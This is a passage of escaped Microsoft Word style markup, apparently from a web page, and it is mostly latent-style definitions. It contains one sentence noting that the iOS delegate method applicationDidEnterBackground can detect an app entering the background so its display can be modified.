   Name=&quot;Subtle Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;32&quot; QFormat=&quot;true&quot;
   Name=&quot;Intense Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;33&quot; QFormat=&quot;true&quot; Name=&quot;Book Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;37&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;Bibliography&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;TOC Heading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;41&quot; Name=&quot;Plain Table 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;42&quot; Name=&quot;Plain Table 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;43&quot; Name=&quot;Plain Table 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;44&quot; Name=&quot;Plain Table 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;45&quot; Name=&quot;Plain Table 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;40&quot; Name=&quot;Grid Table Light&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot; Name=&quot;Grid Table 1 Light&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot; Name=&quot;Grid Table 6 Colorful&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot; Name=&quot;Grid Table 7 Colorful&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot; Name=&quot;List Table 1 Light&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot; Name=&quot;List Table 6 Colorful&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot; Name=&quot;List Table 7 Colorful&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 6&quot;/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
 table.MsoNormalTable
 {mso-style-name:&quot;Table Normal&quot;;
 mso-tstyle-rowband-size:0;
 mso-tstyle-colband-size:0;
 mso-style-noshow:yes;
 mso-style-priority:99;
 mso-style-parent:&quot;&quot;;
 mso-padding-alt:0in 5.4pt 0in 5.4pt;
 mso-para-margin-top:0in;
 mso-para-margin-right:0in;
 mso-para-margin-bottom:10.0pt;
 mso-para-margin-left:0in;
 line-height:115%;
 mso-pagination:widow-orphan;
 font-size:11.0pt;
 font-family:&quot;Calibri&quot;,sans-serif;
 mso-ascii-font-family:Calibri;
 mso-ascii-theme-font:minor-latin;
 mso-hansi-font-family:Calibri;
 mso-hansi-theme-font:minor-latin;
 mso-bidi-font-family:&quot;Times New Roman&quot;;
 mso-bidi-theme-font:minor-bidi;}
&lt;/style&gt;
&lt;![endif]--&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;line-height: 115%;&quot;&gt;The UIApplication delegate method
applicationDidEnterBackground can be used to detect when an application is
entering the background and modify the display accordingly.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;o:OfficeDocumentSettings&gt;
  &lt;o:RelyOnVML/&gt;
  &lt;o:AllowPNG/&gt;
 &lt;/o:OfficeDocumentSettings&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;br /&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;EN-US&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;JA&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;&amp;#45;-&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState=&quot;false&quot; DefUnhideWhenUsed=&quot;false&quot;
  DefSemiHidden=&quot;false&quot; DefQFormat=&quot;false&quot; DefPriority=&quot;99&quot;
  LatentStyleCount=&quot;371&quot;&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;0&quot; QFormat=&quot;true&quot; Name=&quot;Normal&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;toc 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;toc 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;toc 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Normal Indent&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;footnote text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;annotation text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;header&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;footer&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index heading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;35&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;caption&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;table of figures&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;envelope address&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;envelope return&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;footnote reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;annotation reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;line number&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;page number&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;endnote reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;endnote text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;table of authorities&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;macro&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;toa heading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number 4&quot;/&gt;
